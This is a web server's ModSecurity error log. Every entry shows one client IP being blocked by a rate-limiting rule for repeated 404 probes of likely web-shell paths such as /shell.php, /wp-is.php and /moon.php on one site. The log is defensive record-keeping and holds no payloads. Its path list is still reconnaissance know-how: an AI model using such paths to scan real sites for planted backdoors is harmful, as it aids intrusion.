[Tue Nov 25 20:03:06.746637 2025] [:error] [pid 2987:tid 3008] [client 20.196.125.130:30603] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aSWa-s-djEt-pTzPxnyp0AAAAVM"]
[Tue Nov 25 20:03:07.186986 2025] [:error] [pid 28842:tid 28998] [client 20.196.125.130:30665] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aSWa-9NmoaPf6T4-6C2dbAAAA0g"]
[Tue Nov 25 20:03:07.641311 2025] [:error] [pid 28836:tid 28957] [client 20.196.125.130:30636] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "aSWa-5wNRsoxcLQGkTfJ5gAAAsI"]
[Tue Nov 25 20:03:08.140391 2025] [:error] [pid 28836:tid 29011] [client 20.196.125.130:30528] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "aSWa_JwNRsoxcLQGkTfJ6AAAAtU"]
[Tue Nov 25 20:03:08.686263 2025] [:error] [pid 14077:tid 14114] [client 20.196.125.130:30618] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "aSWa_BG9n7UHEkwDTyif-AAAAEQ"]
[Tue Nov 25 20:03:09.275208 2025] [:error] [pid 14168:tid 14179] [client 20.196.125.130:30577] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system.php"] [unique_id "aSWa_fR-ZDU0QEgAIIttRwAAAMg"]
[Tue Nov 25 20:03:09.806776 2025] [:error] [pid 2987:tid 3002] [client 20.196.125.130:30566] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aSWa_c-djEt-pTzPxnyp0gAAAU0"]
[Tue Nov 25 20:03:10.326957 2025] [:error] [pid 28842:tid 29017] [client 20.196.125.130:30708] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aSWa_tNmoaPf6T4-6C2ddAAAA1A"]
[Tue Nov 25 20:03:11.485541 2025] [:error] [pid 28842:tid 29020] [client 20.196.125.130:30601] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aSWa_9NmoaPf6T4-6C2deQAAA1I"]
[Tue Nov 25 20:03:12.027898 2025] [:error] [pid 28740:tid 28813] [client 20.196.125.130:30606] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aSWbAFppQCoYxWW6V0WLsQAAAlY"]
[Tue Nov 25 20:03:12.426962 2025] [:error] [pid 28842:tid 29005] [client 20.196.125.130:30657] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aSWbANNmoaPf6T4-6C2degAAA08"]
[Tue Nov 25 20:03:12.843090 2025] [:error] [pid 14078:tid 14138] [client 20.196.125.130:30654] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aSWbANVXYbb0ii_rVoJNwQAAAIE"]
[Tue Nov 25 20:03:13.306259 2025] [:error] [pid 28836:tid 28962] [client 20.196.125.130:30662] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aSWbAZwNRsoxcLQGkTfJ7QAAAsc"]
[Tue Nov 25 20:03:13.718094 2025] [:error] [pid 14168:tid 14178] [client 20.196.125.130:30701] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aSWbAfR-ZDU0QEgAIIttSgAAAMc"]
[Tue Nov 25 20:03:14.201706 2025] [:error] [pid 14076:tid 14099] [client 20.196.125.130:30713] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aSWbAnsB4Gz6Qw-pvBsdvwAAABI"]
[Tue Nov 25 20:03:14.769670 2025] [:error] [pid 14168:tid 14172] [client 20.196.125.130:30638] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aSWbAvR-ZDU0QEgAIIttTQAAAME"]
[Tue Nov 25 20:03:15.598747 2025] [:error] [pid 28842:tid 29024] [client 20.196.125.130:30625] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aSWbA9NmoaPf6T4-6C2dfAAAA1Y"]
[Tue Nov 25 20:03:16.410763 2025] [:error] [pid 14077:tid 14130] [client 20.196.125.130:30555] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aSWbBBG9n7UHEkwDTyigBgAAAFQ"]
[Tue Nov 25 20:03:16.987914 2025] [:error] [pid 28739:tid 28765] [client 20.196.125.130:30684] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aSWbBBxGpKmlkG4FexSBvwAAAgM"]
[Tue Nov 25 20:03:17.484593 2025] [:error] [pid 28842:tid 29021] [client 20.196.125.130:30646] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aSWbBdNmoaPf6T4-6C2dfQAAA1M"]
[Tue Nov 25 20:03:17.919860 2025] [:error] [pid 14076:tid 14092] [client 20.196.125.130:30612] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aSWbBXsB4Gz6Qw-pvBsdwgAAAAs"]
[Tue Nov 25 20:03:18.280935 2025] [:error] [pid 14076:tid 14085] [client 20.196.125.130:30547] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shell.php"] [unique_id "aSWbBnsB4Gz6Qw-pvBsdxAAAAAQ"]
[Tue Nov 25 20:03:18.645039 2025] [:error] [pid 28609:tid 28640] [client 20.196.125.130:30615] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ze.php"] [unique_id "aSWbBiGGdT-nZJVs3x3KjwAAAZY"]
[Tue Nov 25 20:03:19.020459 2025] [:error] [pid 28836:tid 29007] [client 20.196.125.130:30626] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ze.php"] [unique_id "aSWbB5wNRsoxcLQGkTfJ8QAAAtE"]
[Tue Nov 25 20:03:19.502045 2025] [:error] [pid 28836:tid 28969] [client 20.196.125.130:30709] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ze.php"] [unique_id "aSWbB5wNRsoxcLQGkTfJ8wAAAs4"]
[Tue Nov 25 20:03:20.249014 2025] [:error] [pid 14078:tid 14139] [client 20.196.125.130:30489] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ze.php"] [unique_id "aSWbCNVXYbb0ii_rVoJN0AAAAII"]
[Tue Nov 25 20:03:20.731530 2025] [:error] [pid 28740:tid 28812] [client 20.196.125.130:30464] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aSWbCFppQCoYxWW6V0WLuwAAAlU"]
[Tue Nov 25 20:03:21.117912 2025] [:error] [pid 28739:tid 28766] [client 20.196.125.130:30602] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aSWbCRxGpKmlkG4FexSBxAAAAgQ"]
[Tue Nov 25 20:03:21.540990 2025] [:error] [pid 14168:tid 14176] [client 20.196.125.130:30598] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aSWbCfR-ZDU0QEgAIIttUAAAAMU"]
[Tue Nov 25 20:03:21.970734 2025] [:error] [pid 14076:tid 14101] [client 20.196.125.130:30608] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aSWbCXsB4Gz6Qw-pvBsdxgAAABQ"]
[Tue Nov 25 20:03:22.547632 2025] [:error] [pid 28740:tid 28809] [client 20.196.125.130:30556] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file32.php"] [unique_id "aSWbClppQCoYxWW6V0WLwAAAAlI"]
[Tue Nov 25 20:03:22.926647 2025] [:error] [pid 28739:tid 28767] [client 20.196.125.130:30698] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file32.php"] [unique_id "aSWbChxGpKmlkG4FexSByAAAAgU"]
[Tue Nov 25 20:03:23.329101 2025] [:error] [pid 14076:tid 14087] [client 20.196.125.130:30718] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file32.php"] [unique_id "aSWbC3sB4Gz6Qw-pvBsdygAAAAY"]
[Tue Nov 25 20:03:23.697968 2025] [:error] [pid 28739:tid 28772] [client 20.196.125.130:30582] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file32.php"] [unique_id "aSWbCxxGpKmlkG4FexSByQAAAgo"]
[Tue Nov 25 20:03:24.491774 2025] [:error] [pid 14077:tid 14124] [client 20.196.125.130:30620] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-is.php"] [unique_id "aSWbDBG9n7UHEkwDTyigEgAAAE4"]
[Tue Nov 25 20:03:24.922688 2025] [:error] [pid 14168:tid 14181] [client 20.196.125.130:30686] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-is.php"] [unique_id "aSWbDPR-ZDU0QEgAIIttVAAAAMo"]
[Tue Nov 25 20:03:25.377374 2025] [:error] [pid 2987:tid 2992] [client 20.196.125.130:30717] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-is.php"] [unique_id "aSWbDc-djEt-pTzPxnyp4gAAAUM"]
[Tue Nov 25 20:03:25.712861 2025] [:error] [pid 2987:tid 2996] [client 20.196.125.130:30562] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-is.php"] [unique_id "aSWbDc-djEt-pTzPxnyp4wAAAUc"]
[Tue Nov 25 20:03:26.031034 2025] [:error] [pid 28609:tid 28632] [client 20.196.125.130:30674] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aSWbDiGGdT-nZJVs3x3KmwAAAY4"]
[Tue Nov 25 20:03:26.412305 2025] [:error] [pid 28739:tid 28780] [client 20.196.125.130:30604] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aSWbDhxGpKmlkG4FexSBzAAAAhI"]
[Tue Nov 25 20:03:26.975329 2025] [:error] [pid 28739:tid 28784] [client 20.196.125.130:30536] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aSWbDhxGpKmlkG4FexSBzQAAAhY"]
[Tue Nov 25 20:03:28.154938 2025] [:error] [pid 28739:tid 28771] [client 20.196.125.130:30623] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aSWbEBxGpKmlkG4FexSB0AAAAgk"]
[Tue Nov 25 20:03:28.537113 2025] [:error] [pid 28609:tid 28641] [client 20.196.125.130:30616] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aSWbECGGdT-nZJVs3x3KngAAAZc"]
[Tue Nov 25 20:03:28.973836 2025] [:error] [pid 28842:tid 28999] [client 20.196.125.130:30705] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aSWbENNmoaPf6T4-6C2diQAAA0k"]
[Tue Nov 25 20:03:29.493740 2025] [:error] [pid 28609:tid 28635] [client 20.196.125.130:30707] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aSWbESGGdT-nZJVs3x3KoAAAAZE"]
[Tue Nov 25 20:03:29.840668 2025] [:error] [pid 28842:tid 29005] [client 20.196.125.130:30611] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gmo.php"] [unique_id "aSWbEdNmoaPf6T4-6C2djAAAA08"]
[Tue Nov 25 20:03:30.600409 2025] [:error] [pid 14076:tid 14104] [client 20.196.125.130:30592] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aSWbEnsB4Gz6Qw-pvBsd0wAAABc"]
[Tue Nov 25 20:03:31.028865 2025] [:error] [pid 2987:tid 3007] [client 20.196.125.130:30552] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aSWbE8-djEt-pTzPxnyp6QAAAVI"]
[Tue Nov 25 20:03:31.352121 2025] [:error] [pid 28836:tid 29007] [client 20.196.125.130:30630] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aSWbE5wNRsoxcLQGkTfKDAAAAtE"]
[Tue Nov 25 20:03:31.746459 2025] [:error] [pid 28739:tid 28781] [client 20.196.125.130:30667] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aSWbExxGpKmlkG4FexSB1AAAAhM"]
[Tue Nov 25 20:03:48.484651 2025] [:error] [pid 28842:tid 29001] [client 20.196.125.130:30624] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "aSWbJNNmoaPf6T4-6C2dvAAAA0s"]
[Tue Nov 25 20:03:48.991527 2025] [:error] [pid 28842:tid 29004] [client 20.196.125.130:30578] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "aSWbJNNmoaPf6T4-6C2dwAAAA04"]
[Tue Nov 25 20:03:49.496164 2025] [:error] [pid 28842:tid 28996] [client 20.196.125.130:30591] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "aSWbJdNmoaPf6T4-6C2dwgAAA0Y"]
[Tue Nov 25 20:03:49.922689 2025] [:error] [pid 28740:tid 28796] [client 20.196.125.130:30561] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/wp-is.php"] [unique_id "aSWbJVppQCoYxWW6V0WLzQAAAkU"]
[Tue Nov 25 20:03:50.323966 2025] [:error] [pid 28842:tid 28992] [client 20.196.125.130:30663] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aSWbJtNmoaPf6T4-6C2dxAAAA0I"]
[Tue Nov 25 20:03:50.751074 2025] [:error] [pid 28609:tid 28621] [client 20.196.125.130:30687] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aSWbJiGGdT-nZJVs3x3KvQAAAYM"]
